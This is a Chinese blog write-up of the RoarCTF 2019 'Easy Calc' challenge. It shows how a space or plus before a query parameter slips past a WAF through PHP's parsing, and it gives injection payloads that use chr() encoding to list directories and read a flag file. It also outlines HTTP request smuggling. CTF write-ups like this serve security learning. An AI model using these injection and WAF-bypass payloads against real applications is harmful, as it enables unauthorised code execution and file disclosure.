RoarCTF 2019 Easy Calc
这道题无任何想法,所以直接看wp。
一、利用PHP的字符串解析特性Bypass
在这道题中PHP解析时’num’=’ num’=’+num’,认为它们是同一个变量。
但是waf只认’num’而’ num’和’+num’都不在范围内,这样就能绕过waf了。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
所以payload1:
scandir(“/“)函数读取目录,/被过滤所以换为chr(47)绕过。
1
? num=1;var_dump(scandir(chr(47)))
file()函数读取flag。
1
? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
payload2:
空格换为+。1
?+num=1;var_dump(scandir(chr(47)))
1
?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
补充:这里的chr(47)也可以换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
二、http走私绕过WAF
一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。
当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。
因为两个cl直接导致前端转发的服务器400,而且完整转发了post包给后端.
看有这种方法,但没找到此方法解题步骤。三、补充
1. | var_dump() | 函数用于输出变量的相关信息。 |
---|---|---|
2. | var_dump() | 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。PHP 版本要求: PHP 4, PHP 5, PHP 7 |
void var_dump ( mixed $expression [, mixed $... ] )
3. | scandir() | 函数返回指定目录中的文件和目录的数组。 |
---|---|---|
4. | file_get_contents() | 函数把整个文件读入一个字符串中。 |
5. | chr()函数 | 从不同的 ASCII 值返回字符: |
6. | php语法中.就是相加。 |
四、解题
打开题目发现是一个计算器页面。
没有任何提示,右键查看源码。
访问calc.php发现存在过滤。
了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了? num=1;var_dump(scandir(chr(47)))
ASCII码47对应/
scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交
提交后得到结果:
发现存在f1agg文件
字母 | ASCII | 构造chr() |
---|---|---|
/ | 47 | chr(47) |
f | 102 | chr(102) |
1 | 49 | chr(49) |
a | 97 | chr(97) |
g | 103 | chr(103) |
g | 103 | chr(103) |
构造结果:? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
GET flag
本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/25545.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!